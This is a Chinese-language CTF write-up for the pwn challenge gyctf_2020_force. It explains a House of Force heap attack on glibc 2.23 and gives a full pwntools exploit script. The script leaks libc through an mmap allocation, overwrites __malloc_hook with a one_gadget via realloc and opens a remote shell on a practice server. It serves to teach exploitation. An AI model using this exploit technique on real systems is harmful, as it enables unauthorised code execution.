gyctf_2020_force
查看保护
当size小于0x50时堆溢出,这里只有add没有show和edit。size随便申请多大都可以。
house of force吧,改写top chunk的size为0xFFFFFFFFFFFFFFFF因为在glibc2.23下的源码中这里是无符号写成-1时则为0xFFFFFFFFFFFFFFFF。详细可以看z1r0’s blog
当创建top chunk可以分配的大小的,所创建的chunk的位置为top chunk与该chunk size的偏移
所以这里可以进行任意地址申请,只需要将top chunk的size改为0xFFFFFFFFFFFFFFFF。
泄露libc的话,通过mmap来申请,mmap申请的地址与libc为固定偏移。刚好add中有泄露的语句。
最后通过realloc调整栈帧即可getshell
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 26920)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendline('1')
r.sendlineafter('size', str(size))
r.recvuntil('bin addr ')
addr = int(r.recvuntil('\n'), 16)
success('bin_addr = ' + hex(addr))
r.sendafter('content', content)
return addr
libc = ELF('./libc-2.23.so')
libc_base = add(0x200000, 'aaaa\n') + 0x200ff0
success('libc_base'+hex(libc_base))
p1 = p64(0) * 3 + p64(0xFFFFFFFFFFFFFFFF)
heap_addr = add(0x18, p1)
success("heap_addr:" + hex(heap_addr))
top_chunk_addr = heap_addr + 0x10
malloc_hook = libc.sym['__malloc_hook'] + libc_base
success("malloc_hook" + hex(malloc_hook))
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one_gadget[1] + libc_base
realloc = libc.sym["__libc_realloc"] + libc_base
offset = malloc_hook - top_chunk_addr
add(offset - 0x30, 'aaa\n')
p2 = p64(0) + p64(one_gadget) + p64(realloc + 0x10)
add(0x10, p2)
r.sendline('1')
r.recvuntil("size\n")
r.sendline('16')
r.interactive()